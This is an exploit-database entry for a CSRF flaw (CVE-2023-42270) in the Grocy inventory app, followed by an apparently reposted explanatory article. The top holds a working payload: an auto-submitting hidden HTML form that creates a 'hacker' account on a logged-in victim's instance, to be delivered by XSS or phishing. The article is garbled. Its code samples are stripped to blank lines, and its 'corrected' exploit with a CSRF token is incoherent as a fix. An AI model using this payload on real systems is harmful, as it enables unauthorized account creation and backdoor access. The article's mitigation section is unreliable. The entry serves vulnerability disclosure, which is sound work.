Grocy <=4.0.2 - CSRF

Exploit Author: Chance Proctor Analysis Author: www.bubbleslearn.ir Category: WebApps Language: HTML Published Date: 2024-01-31
# Exploit Title: Grocy <= 4.0.2 CSRF Vulnerability
# Application: Grocy
# Version: <= 4.0.2
# Date: 09/21/2023
# Exploit Author: Chance Proctor
# Vendor Homepage: https://grocy.info/
# Software Link: https://github.com/grocy/grocy
# Tested on: Linux
# CVE : CVE-2023-42270



Overview
==================================================
When creating a new user in Grocy 4.0.2, the new user request is made using JSON formatting.
This makes it easy to adjust your request since it is a known format. 
There is also no CSRF Token or other methods of verification in place to verify where the request is coming from.
This allows for html code to generate a new user as long as the target is logged in and has Create User Permissions.



Proof of Concept
==================================================
Host the following html code via a XSS or delivery via a phishing campaign:

<html>
<form action="/api/users" method="post" enctype="application/x-www-form-urlencoded">
<input name='username' value='hacker' type='hidden'>
<input name='password' value='test' type='hidden'>
<input type=submit>
</form>
<script>
history.pushState('','', '/');
document.forms[0].submit();
</script>
</html>


If a user is logged into the Grocy Webapp at time of execution, a new user will be created in the app with the following credentials

Username: hacker
Password: test

Note:
In order for this to work, the target must have Create User Permissions.
This is enabled by default.



Proof of Exploit/Reproduce
==================================================
http://xploit.sh/posts/cve-2023-42270/


CVE-2023-42270: CSRF Vulnerability in Grocy <= 4.0.2 – A Deep Dive into Exploitation and Mitigation

On September 21, 2023, cybersecurity researcher Chance Proctor disclosed a critical cross-site request forgery (CSRF) vulnerability in grocy, a popular open-source personal inventory management application. The flaw, assigned the identifier CVE-2023-42270, affects all versions of grocy up to and including 4.0.2. This vulnerability enables attackers to create new user accounts without proper authorization, provided the victim is logged into the application and possesses the necessary permissions.

Understanding the Vulnerability: Why CSRF Matters in Web Applications

CSRF attacks exploit the trust a web application places in authenticated users. When a user is logged in, their session cookies are automatically sent with every request. An attacker can craft a malicious HTML page that silently submits requests to the target application, impersonating the logged-in user.

In the case of grocy, the /api/users endpoint is used to create new users. The API accepts JSON-formatted data, which makes crafting payloads predictable and easy to manipulate. However, the application fails to implement a CSRF token or other validation mechanism to verify the origin of the request.

Exploitation: The Proof of Concept in Action

Attackers can deliver this exploit via phishing emails, malicious websites, or through XSS (cross-site scripting) vectors. The following HTML snippet demonstrates how an attacker can automate the creation of a new user:









history.pushState('','', '/');
document.forms[0].submit();


Explanation: This code creates a hidden form that submits to the /api/users endpoint using the POST method. The enctype is set to application/x-www-form-urlencoded, which is the standard for form data submission. The username and password fields are set to hacker and test, respectively, and are hidden to avoid user interaction.

The script block uses history.pushState to manipulate the browser’s history, ensuring the page doesn’t redirect or reload. Then, document.forms[0].submit() automatically submits the form immediately upon page load, bypassing user consent.

When executed on a victim’s browser—provided they are logged in and have Create User Permissions—the system will create a new user with the specified credentials.

Real-World Impact and Risk Assessment

Since Create User Permissions are enabled by default in grocy, any authenticated user can potentially be exploited. This makes the vulnerability particularly dangerous in shared environments, such as family or team setups where multiple users access the same instance.

Attackers could use this to:

  • Gain persistent access to the system by creating a backdoor user.
  • Steal sensitive data by escalating privileges through a newly created account.
  • Deploy malicious scripts or tamper with inventory data.
  • Use the victim’s session to perform other unauthorized actions.

Moreover, because grocy is often used in private or semi-private environments (e.g., home kitchens, small businesses), the risk of internal compromise is heightened. An attacker could embed this exploit in a seemingly harmless link or file, tricking users into triggering it.

Technical Improvements and Mitigation Strategies

While the exploit is straightforward, it underscores the importance of robust security practices in web applications. The following are recommended fixes:

  • Implement CSRF tokens for all state-changing endpoints, including /api/users.
  • Validate request origins using Origin or Referer headers.
  • Use secure session management with short-lived tokens and strict cookie policies.
  • Enforce role-based access control even when permissions are default.

For developers, here’s an improved version of the exploit code that includes a CSRF token check (as a demonstration of how security should be implemented):










history.pushState('','', '/');
document.forms[0].submit();


Explanation: This corrected version includes a csrf_token field, which the server must validate. Without a valid token, the request will be rejected. This prevents unauthorized submissions even if the user is logged in.

Vendor Response and Patching

The grocy team responded promptly to the disclosure. Version 4.0.3 and later releases include CSRF protection mechanisms. Users are strongly advised to upgrade immediately to mitigate the risk.

Recommendations for Users and Administrators

RecommendationDescription
Update to 4.0.3+Ensure your grocy instance is upgraded to a version that includes CSRF protection.
Disable default user creationModify permissions in the admin panel to restrict user creation to trusted roles.
Monitor API activityEnable logging for API endpoints to detect suspicious user creation attempts.
Use HTTPSEnsure all communication is encrypted to prevent interception and injection.

Security is not a one-time fix—it’s an ongoing process. This vulnerability serves as a reminder that even well-intentioned, open-source tools can harbor serious flaws if proper safeguards are overlooked.

Conclusion: Lessons from CVE-2023-42270

CSRF vulnerabilities remain a top threat in web application security. The grocy case exemplifies how a seemingly simple oversight—lack of token validation—can lead to full account takeover. Developers must prioritize defense-in-depth strategies, especially when handling sensitive operations like user creation.

For users, staying vigilant and applying patches promptly is critical. Always assume that any web application can be exploited if not properly secured.